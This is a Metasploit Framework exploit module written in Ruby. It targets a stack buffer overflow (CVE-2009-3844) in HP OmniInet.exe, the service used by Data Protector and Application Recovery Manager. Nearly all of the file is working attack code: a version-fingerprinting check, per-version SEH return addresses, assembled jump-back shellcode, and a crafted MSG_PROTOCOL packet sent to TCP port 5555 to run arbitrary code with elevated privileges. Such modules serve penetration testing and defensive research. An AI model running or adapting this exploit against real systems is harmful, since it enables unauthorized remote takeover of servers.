HP OmniInet.exe MSG_PROTOCOL Buffer Overflow



##

# $Id: hp_omniinet_2.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in the Hewlett-Packard
                OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
                packet, a remote attacker may be able to execute arbitrary code with elevated
                privileges.

                This service is installed with HP OpenView Data Protector, HP Application
                Recovery Manager and potentially other products. This exploit has been tested
                against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1
                of Application Recovery Manager.

                NOTE: There are actually two consecutive wcscpy() calls in the program (which
                may be why ZDI considered them two separate issues). However, this module only
                exploits the second one.
            },
            'Author'         =>
                [
                    'EgiX <n0b0d13s[at]gmail.com>',
                    'Fairuzan Roslan <riaf[at]mysec.org>',
                    'jduck'
                ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2009-3844' ],
                    [ 'BID', '37250' ],
                    [ 'OSVDB', '60852' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space'    => 4658,
                    'BadChars' => "\x00", # (we don't want \x00\x00)
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic Targeting', { 'auto' => true }  ],

                    # DP Targets
                    [ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
                        {
                            'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
                        }
                    ],
                    [ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
                        {
                            'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
                        }
                    ],

                    # APPRM Targets
                    [ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
                        {
                            'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
                        }
                    ],
                    [ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
                        {
                            'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Dec 17 2009'))

        register_options([Opt::RPORT(5555)], self.class)
    end

    def check
        connect
        sock.put(rand_text_alpha_upper(64))
        resp = sock.get_once(-1,5)
        disconnect

        if (resp)
            resp = resp.unpack('v*').pack('C*')
            print_status("Received response: " + resp)

            # extract version
            if (resp =~ /HP Data Protector/)
                version = resp.split[3]
            elsif (resp =~ /HP OpenView Storage Data Protector/)
                version = resp.split[5]
            elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
                version = resp.split[5]
            else
                return Exploit::CheckCode::Detected
            end

            version = version.split('.')
            major = version[1].to_i
            minor = version[2].to_i
            if ((major < 6) or (major == 6 and minor < 11))
                return Exploit::CheckCode::Vulnerable
            end

            if ((major > 6) or (major == 6 and minor >= 11))
                return Exploit::CheckCode::Safe
            end

        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        mytarget = target

        if (target['auto'])
            mytarget = nil

            print_status("Automatically detecting the target...")

            connect
            sock.put(rand_text_alpha_upper(64))
            resp = sock.get_once(-1,5)
            disconnect

            if not resp
                raise RuntimeError, "No version response returned."
            end

            resp = resp.unpack('v*').pack('C*')
            print_status("Received response: " + resp)

            self.targets.each do |t|
                if (resp =~ /#{t.name}/) then
                    mytarget = t
                    break
                end
            end

            if (not mytarget)
                raise RuntimeError, "No matching target"
            end

            print_status("Selected Target: #{mytarget.name}")
        else
            print_status("Trying target #{mytarget.name}...")
        end

        # separator between arguments
        sep = [0x2000].pack('N')

        # Unicode BOM
        pkt = "\xff\xfe"
        # MSG_PROTOCOL command
        pkt << Rex::Text.to_unicode("267")

        # dunno
        4.times do
            pkt << sep
            pkt << rand_text_alpha_upper(2)
        end

        # culprit string
        pkt << sep

        # the payload + seh record
        pkt << payload.encoded
        pkt << generate_seh_record(mytarget.ret)

        # jump back
        dist = payload_space + 8
        pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string

        # force exception hitting the end of the stack
        pkt << rand_text_alphanumeric(1000) * 25

        # end marker
        pkt << sep

        # packet length
        buff = [pkt.length].pack('N')
        buff << pkt

        connect
        print_status("Sending MSG_PROTOCOL packet...")
        sock.put(buff)

        handler
        disconnect

    end

end